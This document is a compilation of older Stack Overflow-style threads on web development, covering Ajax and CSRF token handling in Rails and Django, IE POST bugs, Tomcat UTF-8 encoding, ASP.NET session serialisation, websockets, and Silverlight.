i watched http://vimeo.com/12529436 and http://vimeo.com/18901514. these videos are great. i think better than any book.
Recommended book in jQuery is "jQuery in Action": - In-depth jQuery 1.4 - Complete coverage of jQuery UI 1.8 - DOM manipulation and event handling - Animation and UI effects - Many practical examples
The book is not free but can be found in some online library services along with other jQuery/Ajax book and video tutorials. Try searching "IT books online" for example and using trial or free subscriptions.
I suggest the following to learn jQuery:
I'd check out the stuff on Tekpub, starting with Mastering jQuery
Google has many options for you that are free and online.
Since you mentioned 'live chat with many features', take a look at Holla. Its a javascript app that is still under development, but you can check out the code at Github.
Holla is a group chat application, a bit like Campfire. You can create channels, then invite friends to those channels, chat and share files.
Going thru code helps a lot, sometimes more than books and tutorials.
I'm experiencing a very strange problem with Rails and ajax using jQuery (although I don't think it's specific to jQuery).
My Rails application uses the cookie session store, and I have a very simple login that sets the user id in the session. If the user_id isn't set in the session, it redirects to a login page. This works with no problems. JQuery GET requests work fine too. The problem is when I do a jQuery POST - the browser sends the session cookie ok (I confirmed this with Firebug and dumping request.cookies to the log) but the session is blank, i.e. session is {}.
I'm doing this in my application.js:
$(document).ajaxSend(function(e, xhr, options) {
var token = $("meta[name='csrf-token']").attr('content');
xhr.setRequestHeader('X-CSRF-Token', token);
});
and here is my sample post:
$.post('/test/1', { _method: 'delete' }, null, 'json');
which should get to this controller method (_method: delete):
def destroy
respond_to do |format|
format.json { render :json => { :destroyed => 'ok' }.to_json }
end
end
Looking at the log and using Firebug I can confirm that the correct cookie value is sent in the request header when the ajax post occurs, but it seems that at some point Rails loses this value and therefore loses the session, so it redirects to the login page and never gets to the method.
I've tried everything I can think of to debug this but I'm coming around to the idea that this might be a bug in Rails. I'm using Rails 3.0.4 and jQuery 1.5 if that helps. I find it very strange that regular (i.e. non-ajax) get and post requests work, and ajax get requests work with no problems, it's just the ajax posts that don't.
Any help in trying to fix this would be greatly appreciated!
Many thanks,
Dave
I'm going to answer my own question as I've managed to work out what was going on. I'll post it here in case it's useful to anyone else!
After investigating further, I worked out that the code that was supposed to be setting the request header with the CSRF token, wasn't. This was the original code:
$(document).ajaxSend(function(e, xhr, options) {
var token = $("meta[name='csrf-token']").attr('content');
xhr.setRequestHeader('X-CSRF-Token', token);
});
What was happening was that this code wasn't setting the header, Rails was receiving an Ajax request, the token didn't match and it was resetting the session. This used to raise an ActionController::InvalidAuthenticityToken error (I suppose I would have caught this earlier if an error was raised... oh well), but since Rails 3.0.4 it now just quietly resets the session.
So to send the token in the header, you have to do this (many thanks to this marvellous blog post):
$.ajaxSetup({
beforeSend: function(xhr) {
xhr.setRequestHeader('X-CSRF-Token', $('meta[name="csrf-token"]').attr('content'));
}
});
And now it all works as it should. Which is nice.
I found another case:
have you set the 'csrf_meta_tag' in your application layout file?
in my case, I didn't set that tag, and met the same problem with yours.
And after setting the csrf_meta_tag in app/views/layouts/application.html.erb, everything works fine!
At last, thank you for helping me found the root cause ! thanks a lot ~
That's what the official jquery-ujs rails adapter is for in the 3.0 series. You have to remember to keep it updated when upgrading rails versions though.
For me, upgrading from 3.0.3 to 3.0.8.rc4 meant also manually fetching the src/rails.js file from the linked repo.
Since Rails 3.1 finally made the switch to jQuery, things should auto-update in the future via the jquery-rails gem when updating rails (and using 3.1's built-in asset pipeline)
I could use some help complying with Django's csrf protection mechanism via my AJAX post. I've followed the directions here:
http://docs.djangoproject.com/en/dev/ref/contrib/csrf/
I've copied the AJAX sample code they have on that page exactly:
http://docs.djangoproject.com/en/dev/ref/contrib/csrf/#ajax
I put an alert printing the contents of getCookie('csrftoken') before the xhr.setRequestHeader call and it is indeed populated with some data. I'm not sure how to verify that the token is correct, but I'm encouraged that it's finding and sending something.
But django is still rejecting my AJAX post.
Here's my Javascript:
$.post("/memorize/", data, function (result) {
if (result != "failure") {
get_random_card();
}
else {
alert("Failed to save card data.");
}
});
Here's the error I'm seeing from Django:
[23/Feb/2011 22:08:29] "POST /memorize/ HTTP/1.1" 403 2332
I'm sure I'm missing something, and maybe it's simple, but I don't know what it is. I've searched around SO and saw some information about turning off the CSRF check for my view via the csrf_exempt decorator, but I find that unappealing. I've tried that out and it works, but I'd rather get my POST to work the way Django was designed to expect it, if possible.
Just in case it's helpful, here's the gist of what my view is doing:
def myview(request):
profile = request.user.profile
if request.method == 'POST':
"""
Process the post...
"""
return HttpResponseRedirect('/memorize/')
else: # request.method == 'GET'
ajax = request.GET.has_key('ajax')
"""
Some irrelevent code...
"""
if ajax:
response = HttpResponse()
profile.get_stack_json(response)
return response
else:
"""
Get data to send along with the content of the page.
"""
return render_to_response('memorize/memorize.html',
""" My data """
context_instance=RequestContext(request))
Thanks for your replies!
Real solution
Ok, I managed to trace the problem down. It lies in the Javascript (as I suggested below) code.
What you need is this:
$.ajaxSetup({
beforeSend: function(xhr, settings) {
function getCookie(name) {
var cookieValue = null;
if (document.cookie && document.cookie != '') {
var cookies = document.cookie.split(';');
for (var i = 0; i < cookies.length; i++) {
var cookie = jQuery.trim(cookies[i]);
// Does this cookie string begin with the name we want?
if (cookie.substring(0, name.length + 1) == (name + '=')) {
cookieValue = decodeURIComponent(cookie.substring(name.length + 1));
break;
}
}
}
return cookieValue;
}
if (!(/^http:.*/.test(settings.url) || /^https:.*/.test(settings.url))) {
// Only send the token to relative URLs i.e. locally.
xhr.setRequestHeader("X-CSRFToken", getCookie('csrftoken'));
}
}
});
instead of the code posted in the official docs: http://docs.djangoproject.com/en/1.2/ref/contrib/csrf/#ajax
The working code, comes from this Django entry: http://www.djangoproject.com/weblog/2011/feb/08/security/
So the general solution is: "use ajaxSetup handler instead of ajaxSend handler". I don't know why it works. But it works for me :)
Previous post (without answer)
I'm experiencing the same problem actually.
It occurs after updating to Django 1.2.5 - there were no errors with AJAX POST requests in Django 1.2.4 (AJAX wasn't protected in any way, but it worked just fine).
Just like OP, I have tried the JavaScript snippet posted in Django documentation. I'm using jQuery 1.5. I'm also using the "django.middleware.csrf.CsrfViewMiddleware" middleware.
I tried to follow the the middleware code and I know that it fails on this:
request_csrf_token = request.META.get('HTTP_X_CSRFTOKEN', '')
and then
if request_csrf_token != csrf_token:
return self._reject(request, REASON_BAD_TOKEN)
this "if" is true, because "request_csrf_token" is empty.
Basically it means that the header is NOT set. So is there anything wrong with this JS line:
xhr.setRequestHeader("X-CSRFToken", getCookie('csrftoken'));
?
I hope that provided details will help us in resolving the issue :)
The issue is because django is expecting the value from the cookie to be passed back as part of the form data. The code from the previous answer is getting javascript to hunt out the cookie value and put it into the form data. Thats a lovely way of doing it from a technical point of view, but it does look a bit verbose.
In the past, I have done it more simply by getting the javascript to put the token value into the post data.
If you use {% csrf_token %} in your template, you will get a hidden form field emitted that carries the value. But, if you use {{ csrf_token }} you will just get the bare value of the token, so you can use this in javascript like this....
csrf_token = "{{ csrf_token }}";
Then you can include that, with the required key name in the hash you then submit as the data to the ajax call.
If you use the $.ajax, you can simply add the csrf token in the data body:
$.ajax({
data: {
somedata: 'somedata',
moredata: 'moredata',
csrfmiddlewaretoken: '{{ csrf_token }}'
},
Use Firefox with Firebug. Open the 'Console' tab while firing the ajax request. With DEBUG=True you get the nice django error page as response and you can even see the rendered html of the ajax response in the console tab.
Then you will know what the error is.
add this line to you're jQuery code:
$.ajaxSetup({
data: {csrfmiddlewaretoken: '{{ csrf_token }}' },
});
and done.
I've just encountered a bit different but similar situation. Not 100% sure if it'd be a resolution to your case, but I resolved the issue for Django 1.3 by setting a POST parameter 'csrfmiddlewaretoken' with the proper cookie value string which is usually returned within the form of your home HTML by Django's template system with '{% csrf_token %}' tag. I did not try on the older Django, just happened and resolved on Django1.3. My problem was that the first request submitted via Ajax from a form was successfully done but the second attempt from the exact same from failed, resulted in 403 state even though the header 'X-CSRFToken' is correctly placed with the CSRF token value as well as in the case of the first attempt. Hope this helps.
Regards,
Hiro
The accepted answer is most likely a red herring. The difference between Django 1.2.4 and 1.2.5 was the requirement for a CSRF token for AJAX requests.
I came across this problem on Django 1.3 and it was caused by the CSRF cookie not being set in the first place. Django will not set the cookie unless it has to. So an exclusively or heavily ajax site running on Django 1.2.4 would potentially never have sent a token to the client and then the upgrade requiring the token would cause the 403 errors.
The ideal fix is here: http://docs.djangoproject.com/en/dev/ref/contrib/csrf/#page-uses-ajax-without-any-html-form
but you'd have to wait for 1.4 unless this is just documentation catching up with the code
Edit
Note also that the later Django docs note a bug in jQuery 1.5 so ensure you are using 1.5.1 or later with the Django suggested code: http://docs.djangoproject.com/en/1.3/ref/contrib/csrf/#ajax
If your form posts correctly in Django without JS, you should be able to progressively enhance it with ajax without any hacking or messy passing of the csrf token. Just serialize the whole form and that will automatically pick up all your form fields including the hidden csrf field:
$('#myForm').submit(function(){
var action = $(this).attr('action');
var that = $(this);
$.ajax({
url: action,
type: 'POST',
data: that.serialize()
,success: function(data){
console.log('Success!');
}
});
return false;
});
I've tested this with Django 1.3+ and jQuery 1.5+. Obviously this will work for any HTML form, not just Django apps.
Similar questions have been asked before and they all reached the conclusion that AJAX will not become obsolete. But in what ways is ajax better than websockets?
With socket.io, it's easy to fall back to flash or long polling, so browser compatibility seems to be a non-issue.
Websockets are bidirectional. Where ajax would make an asynchronous request, websocket client would send a message to the server. The POST/GET parameters can be encoded in JSON.
So what is wrong with using 100% websockets? If every visitor maintains a persistent websocket connection to the server, would that be more wasteful than making a few ajax requests throughout the visit session?
I think it would be more wasteful. For every connected client you need some sort of object/function/code/whatever on the server paired up with that one client. A socket handler, or a file descriptor, or however your server is setup to handle the connections.
With AJAX you don't need a 1:1 mapping of server side resource to client. Your # of clients can scale less dependently than your server-side resources. Even node.js has its limitations to how many connections it can handle and keep open.
The other thing to consider is that certain AJAX responses can be cached too. As you scale up you can add an HTTP cache to help reduce the load from frequent AJAX requests.
Personally, I think that websockets will be used more and more in web applications instead of AJAX. They are not well suited to web sites where caching and SEO are of greater concern, but they will do wonders for webapps.
Projects such as DNode and socketstream help to remove the complexity and enable simple RPC-style coding. This means your client code just calls a function on the server, passing whatever data to that function it wants. And the server can call a function on the client and pass it data as well. You don't need to concern yourself with the nitty gritties of TCP.
Furthermore, there is a lot of overhead with AJAX calls. For instance, a connection needs to be established and HTTP headers (cookies, etc.) are passed with every request. Websockets eliminate much of that. Some say that websockets are more wasteful, and perhaps they are right. But I'm not convinced that the difference is really that substantial.
I answered another related question in detail, including many links to related resources. You might check it out:
There's nothing "wrong" about it.
The only difference is mostly readability. The main advantage of Ajax is that it allows you fast development because most of the functionality is written for you.
There's a great advantage in not having to re-invent the wheel every time you want to open a socket.
I think that sooner or later websocket based frameworks will start to popup not just for writing real-time chat like parts of web apps, but also as standalone web frameworks. Once permanent connection is created it can be used for receiving all kinds of stuff including UI parts of web application which are now served for example through AJAX requests. This approach may hurt SEO in some way although it can reduce amount of traffic and load generated by asynchronous requests which includes redundant HTTP headers.
However I doubt that websockets will replace or endanger AJAX because there are numerous scenarios where permanent connections are unnecessary or unwanted. For example mashup applications which are using (one time) single purpose REST based services that doesn't need to be permanently connected with clients.
We are able to reliably recreate the following scenario:
After a failed network connection, IE makes the next AJAX request but only sends the HTTP header (not the body) when doing the HTTP post. This causes all sorts of problems on the server as it is only a partial request. Google this issue with Bing and you'll find lots of people complaining about "random server errors" using AJAX or unexplained AJAX failures.
We know that IE (unlike most other browsers) always sends an HTTP POST as TWO TCP/IP packets. The header and body is sent separately. In the case directly after a failure, IE only sends the header.
So my question is - why does it behave this way? It seems wrong based on the HTTP spec and other browsers don't behave this way. Is it simply a bug? Surely this creates havoc in any serious AJAX based Web application.
Reference information:
There is a similar problem, triggered by HTTP keep-alive timeouts that are shorter than 1 minute and is documented here:
http://support.microsoft.com/default.aspx?kbid=831167
Here are the before and after failure packet captures:
Notice how the HTTP Header and Payload is sent http://img827.imageshack.us/i/beforee.png/
After a failure, notice how only the Header is sent. IE never sends the payload and the server eventually responds with a Timeout. http://img203.imageshack.us/i/retryt.png/
There does not seem to be a clear answer to this question, so I will provide my empirical data as a substitute and provide some ways to work around it. Maybe some MS insider will one day shed some light on this...
If HTTP Keep-Alive is disabled on the server, this issue goes away. In other words, your HTTP 1.1 server server will respond to every Ajax request with a Connection: Close line in the response. This keeps IE happy but causes every Ajax request to open a new connection. This can have a significant performance impact, especially on high latency networks.
The issue is triggered easily if Ajax requests are made in rapid succession. For example, we make Ajax requests every 100ms and then the network status changes, the error is easy to reproduce. Although most applications probably do not make such requests, you might well have a couple of server calls happening right after each other which could lead to this problem. Less chatty keeps IE happy.
It happens even without NTLM authentication.
It happens when your HTTP keep-alive timeout on the server is shorter than the default (which defaults to 60 seconds on Windows). Details provided in link in question.
It does not happen with Chrome or Firefox. FF sends one packet so seems to avoid this issue altogether.
It happens in IE 6, 7, 8. Could not reproduce with IE 9 beta.
The microsoft KB article titled When you use Microsoft Internet Explorer or another program to perform a re-POST operation, only the header data is posted seems to fix this problem.
The article provides a hotfix. For later browsers such as IE8 it says the hotfix is already included but needs to be enabled through the registry settings on the client PC.
This is a longshot, but IE (and even Firefox) sometimes "remembers" the connection it uses for an HTTP request. Notes/examples:
In Firefox, if I change the proxy settings and hit SHIFT-RELOAD on a page, it still uses the old proxy. However, if I kill the old proxy ("killall squid"), it starts using the new proxy.
When you disconnect/reconnect, do you receive a new IP address or anything similar? Can you somehow monitor the old IP address to see if IE is sending data to that now-dead address?
My guess is that IE is sending the data, just down the wrong path. It might be smart enough to not cache network connections for "POST" packets, but might not be smart enough to do that for POST payloads.
This probably doesn't affect most AJAX apps, since people rarely disconnect and re-connect to their networks?
I had a similar problem where some older versions of IE would send back only the Header and not the body of a POST. My problem turned out to be related to IE and NTLM. Since you didn't mention NTLM, this probably does not help, but just in case:
Are you using NTLM authentication?
When using NTLM authentication, IE doesn't send post-data. It sends header info, expects an unauthorized response send authorization, and after the 're-authentication' sends the post.
We understand the hash is for AJAX searches, but the exclamation mark? Anyone know?
Also, the "action" attribute for their search form points to "/search," but when you conduct a search, the hash exclamation mark appears in the URL. Are they simply redirecting from "/search" to "/#!/search"?
Note: the second part of the q remains unanswered: That is, are they redirecting the user from "/search" to "/#!/search", or do they send the user to "/search" and use JS on the page to rewrite the URL? ? Crashalot Jan 26 at 23:51
Thanks!
It's become the de facto standard that Google has established to ensure consistency and make ajax urls crawlable.
See http://code.google.com/web/ajaxcrawling/docs/getting-started.html
I believe they are using history.pushState. You can do history.back() in the console and it'll lead you back to the page.
Yes, it redirects with HTTP 302.
By the way, "!" is used to eliminate the case with an empty hash. "http://url#" will make a browser to slide to the top.
To answer the second part then: It is redirecting you to /#!/search.
If you look at the response headers when going to http://twitter.com/britishdev (plug plug) you are returned a 302 (temporary redirect) with the Location header set as "Location: http://twitter.com/#!/britishdev"
Yes JavaScript is then pulling all your detail in on the destination page but regardless that is where you are redirected to.
Serious question.
I tried most of the famous websites (including facebook) and I can say that tons of functionality doesn't degrade at all with js disabled. I've been always told that js should degrade gracefully, but does this still applies in these day and age?
ie6 support is being dropped by several sites, and most of the web2.0 relies heavily on js (especially ajax, I even found some sites that doesn't let you login without js enabled).
What are your thoughts about it?
EDIT:
I want to add that I for one develop webapps without js first and then enhancing them with it. The issue is that year after year js is more and more a part of the web. HTML5, canvas and heavy js apps are starting to rise. Will we ever reach the point where js will be compulsory in most of the websites? I talked about facebook because the site actually degrades and is usable without js but most of the functionalities and shortcuts are stripped to the poin that the site feels dull and old. There are also example where js is better than server side scripting, for instance the ordering of large tables is faster and less server intensive that a php implementation.
p.s. I don't know how to make this a community wiki, but I will, I'm just interested in your opinions.
Even if it isn't necessary, I still prefer to write applications that don't need JS enabled.
I don't think there is much audience for non-JS versions of your web apps, and even if there were, who cares? It's such a small percentage of people, you're not going to annoy very many people by forcing them to upgrade their browsers.
However, I don't write degrading JS for my users, I write it for me...
In fact, I don't write degrading JS at all - I write enhancing JS.
I feel that I can write applications with more direction and success if I first write them without JavaScript, and add the JavaScript later to enhance the application.
In 2011 there are still several important types of users for whom you can't assume javascript will function properly:
So I think it's still best to offer graceful degradation.
As always with these questions, the answer is it depends.
It depends on your audience (which will likely differ widely from any generic browser statistics you can find).
How many of them have JavaScript disabled? Do you care about those users? If not, then sure, don't degrade gracefully.
That said, at the very least, I'd recommend you at least make your website usable and navigable without JavaScript.
The site should "work". It doesn't have to sing or dance, but it shouldn't exclude anyone without JS.
Most screen readers still don't use JS, so all your content should be available to them.
Who is your target? Geeks, or employees of companies (or worse, military institutions) where javascript is banished ?
It's still good to know how to degrade, even if you don't have to apply it 100% for every app you make.
I think that javascript is a technology and that should cost it to improve not to degrade, we cannot degrade technology just because it could effect minor community and not just because it could bring some threat.
Without reinventing the wheel, what I can use to manage user sessions in a web application and being able to respond with JSON to ajax requests?
Is there some framework (made for example with Indy components or something like this)?
Note for bounty:
in practice it is enough for me to have a reply with a clear example of a server application that serves json. Somehow a Delphi example of the php example mentioned HERE. (without the DB part, I want to see the basics of what does it mean to send JSON. I have basic knowledge of TIdHTTPServer.)
Datasnap XE does this
You can take a look at our Synopse SQLite3 Framework, which was just updated to version 1.11.
It serves the data in pure JSON, ready to be used in any AJAX application.
You can also easily create Services, more precisely Client-Server JSON RESTful Services. In this case, you can even not use SQLite3 for your data storage.
This framework is pure Open Source, compiles/run/is tested for Delphi 6 up to XE, is Unicode ready for all versions of Delphi (it uses UTF-8 internally).
By using this framework, you could be able to create easily also Delphi clients, using JSON data from the same server.
There is no internal User session handling yet. Because there are several way of implementing them, and, since our framework is RESTful, it's therefore stateless: no session is needed.
If you need it, I could easily add HTTP sessions using Cookies. What about the User authentication you are expecting?
I would suggest Delphi on Rails, it is an open source REST/MVC/StateLess web framework.
http://code.google.com/p/delphionrails/
It use:
It is able to serialize automatically Delphi data structures to JSON using the new RTTI introduced in Delphi 2010 & XE.
Maybe this can help you:
REST Servers in Delphi XE Using DataSnap Whitepaper
Learn how to build REST servers using features available in Delphi XE, how to extend them with extra Delphi support code and how to take advantage of the jQuery library.
Marco Cantù
http://app.en25.com/e/er.aspx?s=608&lid=4414&elq=d428643420d2494581299418d9753feb
A few days back I asked this question:
I fire six jQuery async ajax requests at the same controller action pretty much all at once. Each request takes 10 seconds to return.
Through debugging and logging requests to the action method I notice that the requests are serialised and never run in parallel. i.e. I see a timeline in my log4net logs like this:
Looking at the network timeline in FireFox I see this:

Both the log sample above and the Firefox network timeline are for the same set of requests.
Are requests to the same action from the same page serialised? I'm aware of serialised access to the Session object in the same session, but no session data is being touched.
I stripped the client side code down to a single request (the longest running one) but this still blocks the browser, i.e. only when the ajax request completes does the browser respond to any link clicking.
What I also observe here (in Chrome's developer tools) is that upon clicking on a link when a long running ajax request is executing it reports a Failed to load resource error immediately which suggests that the browser has killed (or is attempting to kill and waiting?) the ajax request:

However the browser still takes an age to redirect to the new page.
Are ajax requests really asynchronous or is this sleight of hand because javascript is actually single threaded?
Are my requests just taking too long for this to work?
The problem occurs in Firefox and IE as well.
I also changed the script to use $.ajax directly and explicitly set async: true.
I'm running this on IIS7.5, both the Windows 2008R2 and Windows 7 flavours do the same thing.
Debug and release builds also behave the same.
The answer was staring me in the face.
*Access to ASP.NET session state is exclusive per session, which means that if two different users make concurrent requests, access to each separate session is granted concurrently. However, if two concurrent requests are made for the same session (by using the same SessionID value), the first request gets exclusive access to the session information. The second request executes only after the first request is finished.
Annoyingly I'd skimmed paragraph this a couple of weeks ago not really taking in the full impact of the bold sentences. I had read that simply as "access to session state is serialised" and not "all requests, no matter whether you touch session state or not, are serialised" if the requests came from the same session.
Fortunately there is a work around in ASP.NET MVC3 and its possible to create session-less controllers. Scott Guthrie talks about these here:
I installed MVC3 RC2 and upgraded the project. Decorating the controller in question with [SessionState(SessionStateBehavior.Disabled)] solves the problem.
And of course typically I just found this in Stack Overflow a few minutes ago:
Asynchronous Controller is blocking requests in ASP.NET MVC through jQuery
I was trying to reproduce this but was unable. Here's my test:
private static readonly Random _random = new Random();
public ActionResult Ajax()
{
var startTime = DateTime.Now;
Thread.Sleep(_random.Next(5000, 10000));
return Json(new {
startTime = startTime.ToString("HH:mm:ss fff"),
endTime = DateTime.Now.ToString("HH:mm:ss fff")
}, JsonRequestBehavior.AllowGet);
}
And the call:
<script type="text/javascript" src="/scripts/jquery-1.4.1.js"></script>
<script type="text/javascript">
$(function () {
for (var i = 0; i < 6; i++) {
$.getJSON('/home/ajax', function (result) {
$('#result').append($('<div/>').html(
result.startTime + ' | ' + result.endTime
));
});
}
});
</script>
<div id="result"></div>
And the results:
13:37:00 603 | 13:37:05 969
13:37:00 603 | 13:37:06 640
13:37:00 571 | 13:37:07 591
13:37:00 603 | 13:37:08 730
13:37:00 603 | 13:37:10 025
13:37:00 603 | 13:37:10 166
And the FireBug console:

As you can see the AJAX action is hit in parallel.
UPDATE:
It seems that in my initial tests the requests are indeed queued in FireFox 3.6.12 and Chrome 8.0.552.215 when using $.getJSON(). It works fine in IE8. My tests were performed with a ASP.NET MVC 2 project, VS2010, Cassini web server, Windows 7 x64 bit.
Now if I replace $.getJSON() with $.get() it works fine under all browsers. That leads me to believe that there is something with this $.getJSON() which might cause the requests to queue. Maybe someone more familiar with the internals of the jQuery framework would be able to shed more light on this matter.
UPDATE 2:
Try setting cache: false:
$.ajax({
url: '/home/ajax',
cache: false,
success: function (result) {
$('#result').append($('<div/>').html(
result.startTime + ' | ' + result.endTime
));
}
});
I have a tomcat based application that needs to submit a form capable of handling utf-8 characters. When submitted via ajax, the data is returned correctly from getParameter() in utf-8. When submitting via form post, the data is returned from getParameter() in iso-8859-1.
I used fiddler, and have determined the only difference in the requests, is that charset=utf-8 is appended to the end of the Content-Type header in the ajax call (as expected, since I send the content type explicitly).
ContentType from ajax: "application/x-www-form-urlencoded; charset=utf-8"
ContentType from form: "application/x-www-form-urlencoded"
I have the following settings:
ajax post (outputs chars correctly):
$.ajax( {
type : "POST",
url : "blah",
async : false,
contentType: "application/x-www-form-urlencoded; charset=utf-8",
data : data,
success : function(data) {
}
});
form post (outputs chars in iso)
<form id="leadform" enctype="application/x-www-form-urlencoded; charset=utf-8" method="post" accept-charset="utf-8" action="{//app/path}">
xml declaration:
<?xml version="1.0" encoding="utf-8"?>
Doctype:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
meta tag:
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
jvm parameters:
-Dfile.encoding=UTF-8
I have also tried using request.setCharacterEncoding("UTF-8"); but it seems as if tomcat simply ignores it. I am not using the RequestDumper valve.
From what I've read, POST data encoding is mostly dependent on the page encoding where the form is. As far as I can tell, my page is correctly encoded in utf-8.
The sample JSP from this page works correctly. It simply uses setCharacterEncoding("UTF-8"); and echos the data you post. http://wiki.apache.org/tomcat/FAQ/CharacterEncoding
So to summarize, the post request does not send the charset as being utf-8, despite the page being in utf-8, the form parameters specifying utf-8, the xml declaration or anything else. I have spent the better part of three days on this and am running out of ideas. Can anyone help me?
form post (outputs chars in iso)
<form id="leadform" enctype="application/x-www-form-urlencoded; charset=utf-8" method="post" accept-charset="utf-8" action="{//app/path}">
You don't need to specify the charset there. The browser will use the charset which is specified in HTTP response header.
Just
<form id="leadform" method="post" action="{//app/path}">
is enough.
xml declaration:
<?xml version="1.0" encoding="utf-8"?>
Irrelevant. It's only relevant for XML parsers. Webbrowsers doesn't parse text/html as XML. This is only relevant for the server side (if you're using a XML based view technology like Facelets or JSPX, on plain JSP this is superfluous).
Doctype:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
Irrelevant. It's only relevant for HTML parsers. Besides, it doesn't specify any charset. Instead, the one in the HTTP response header will be used. If you aren't using a XML based view technology like Facelets or JSPX, this can be as good <!DOCTYPE html>.
meta tag:
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
Irrelevant. It's only relevant when the HTML page is been viewed from local disk or is to be parsed locally. Instead, the one in the HTTP response header will be used.
jvm parameters:
-Dfile.encoding=UTF-8
Irrelevant. It's only relevant to Sun/Oracle(!) JVM to parse the source files.
I have also tried using
request.setCharacterEncoding("UTF-8");but it seems as if tomcat simply ignores it. I am not using the RequestDumper valve.
This will only work when the request body is not been parsed yet (i.e. you haven't called getParameter() and so on beforehand). You need to call this as early as possible. A Filter is a perfect place for this. Otherwise it will be ignored.
From what I've read, POST data encoding is mostly dependent on the page encoding where the form is. As far as I can tell, my page is correctly encoded in utf-8.
It's dependent on the HTTP response header.
All you need to do are the following three things:
Add the following to top of your JSP:
<%@page pageEncoding="UTF-8" %>
This will set the response encoding to UTF-8 and set the response header to UTF-8.
Create a Filter which does the following in doFilter() method:
if (request.getCharacterEncoding() == null) {
request.setCharacterEncoding("UTF-8");
}
chain.doFilter(request, response);
This will make that the POST request body will be processed as UTF-8.
Change the <Connector> entry in Tomcat/conf/server.xml as follows:
<Connector (...) URIEncoding="UTF-8" />
This will make that the GET query strings will be processed as UTF-8.
Have you tried accept-charset="UTF-8"? As you said, the data should be encoded according to the encoding of the page itself; it seems strange that tomcat is ignoring that. What browser are you trying this out on?
Have you tried to specify useBodyEncodingForURL="true" in your conf/server.xml for HTTP connector?
I implemented a filter based on the information in this post and it is now working. However, this still doesn't explain why even though the page was UTF-8, the charset used by tomcat to interpret it was ISO-9951-1.
Try this :
How do I change how POST parameters are interpreted?
POST requests should specify the encoding of the parameters and values they send. Since many clients fail to set an explicit encoding, the default is used (ISO-8859-1). In many cases this is not the preferred interpretation so one can employ a javax.servlet.Filter to set request encodings. Writing such a filter is trivial. Furthermore Tomcat already comes with such an example filter.
Please take a look at:
5.x
webapps/servlets-examples/WEB-INF/classes/filters/SetCharacterEncodingFilter.java
webapps/jsp-examples/WEB-INF/classes/filters/SetCharacterEncodingFilter.java
6.x
webapps/examples/WEB-INF/classes/filters/SetCharacterEncodingFilter.java
For more info , refer to the below URL http://wiki.apache.org/tomcat/FAQ/CharacterEncoding
Microsoft seems to propose 2 alternative options for building Web 2.0 business sites:
A thin client architecture consisting of ASP.NET (Weforms or MVC) on the server side and javascript on the client side
A fat client architecture consisting of a business layer exposed via RIA Services on the server and Silverlight on the client side.
I'm currently using the thin client approach and while the server side is always rock-solid, the client side tends to break much more easily because of
Most of this wouldn't be an issue with a Silverlight client.
So, the more complex the client side gets, the more it seems to make sense to use a fat client model. However, all sites I know are using the thin client approach.
What I'd like to know:
Is Silverlight really a good alternative to javascript and CSS on the client side, especially for business websites?
Are there any examples of successful web 2.0 business websites built with Silverlight on the client-side? Microsoft's showcase is full of half-baked apps none of which really seems to have ever reached professional-grade quality. I'm looking for something that has a similar style to StackOverflow or the sites from 37 Signals.
Thanks,
Adrian
Edit: Obviously one of the disadvantages of Silverlight is that users have to download the Silverlight plugin. In my case this is less of an issue, since it takes a few minutes to setup your account anyway, so could you please ignore this aspect when providing an answer.
Edit 2: The first and foremost reason I wrote this post is that I have yet to see a really nice looking Silverlight business app.
Everything I have seen so far looks a bit outdated and in desperate need of polish compared to web sites like StackOverflow or the ones at 37 Signals. Most consist of carelessly arranged windows and scrollbars gallore. I am wondering if a clean and concise Web 2.0 look is so hard to achieve with Silverlight or if nobody actually tries to achieve it.
In my opinion, Silverlight is not a good replacement of AJAX.
AJAX is a standard technology supported and recommended by W3C. Any modern browser is supposed to support it.
Silverlight is a proprietary platform developed by Microsoft (and ported by Mono team into Moonlight) that requires a plugin to be run.
[Add] There are some frameworks, like Gaia Ajax Web Widgets, that help you prevent runtime issues. I used them with success
[EDIT] After you explained your scenario, I would go for Silverlight!
For business case studies, try the MS case studies site and search for "Silverlight": http://www.microsoft.com/casestudies/
You will also find some interesting stuff in Teleriks case studies: http://www.telerik.com/company/customers/case-studies.aspx?category=Silverlight
I agree that the Showcase at silverlight.net is awful, they really should do something about that.
Having developed in Silverlight for 3 years now I can only say that given your scenario where the plugin is not a problem, you know your platform requirements etc, you would be crazy not to build your app in Silverlight. It is an absolute joy to work with once you get the hang of it. Just like you suspect, it is a huge relief not having to deal with browser inconsistencies. But I will admit that there is a learning curve if you are going to do Silverlight right. If you do decide to use it, MVVM is a must from day 1. Take the time to learn it and use it from the very beginning. It is tricky to convert an existing app to MVVM.
Actual post by one of my friends on facebook: "FireFox 4 beta 7 rocks..!!!!"
I thought - ugh, do my many sites need to be updated? Will they break with this? Do I check it now or after the beta?
A little Googling later I see Chrome's latest release was a few days ago (December 2nd), with over 800 improvements (that's gotta break something.)
IE9 is in beta with a "revamped JavaScript engine aimed at performance", isn't Ajax all about complicated JavaScript?
So my Ajax's hacks might just work great on all of my sites with all of these browsers.... but I doubt it. And either way, I have to check all of them with all of the new browsers.
I've decided that I'm going to get off of this endless treadmill.
Silverlight isolates you from the different browsers so you have just 1 new environment to test your code on with each new release of Silverlight.
I also see Microsoft is pushing Silverlight down to the clients every chance they get (updates, etc.) So I don't worry about the plug-in issue.
So I'm looking forward to committing to Silverlight for all of my new business applications in a big way.
It sounds like what you're describing is an excellent case for Silverlight. I don't know that 'better' or 'worse' necessarily apply (without knowing the specifics of what you're doing, but in general the issues around plugins involve installation and adoption. Knowing that this is a SAAS application makes a big difference; for your customer, the use of your product is a real investment, not a casual adoption. You describe a 5-10 minute setup, but the issue isn't really one of speed in my opinion; it's inertia. If I'm doing some setup process anyway, then installing Silverlight is probably the easiest and most innocuous part of it.
With that out of the way, there's a lot that I prefer about writing code for a Silverlight application over using any Javascript library (not to mention working in raw Javascript). Strong typing, real object support, and support for a much richer UI are probably my top three reasons, but that is of course going to vary by project. I can't think of anything that Javascript does that wouldn't be as simple or simpler to do in Silverlight, with the only real advantage being that it's lighter weight.
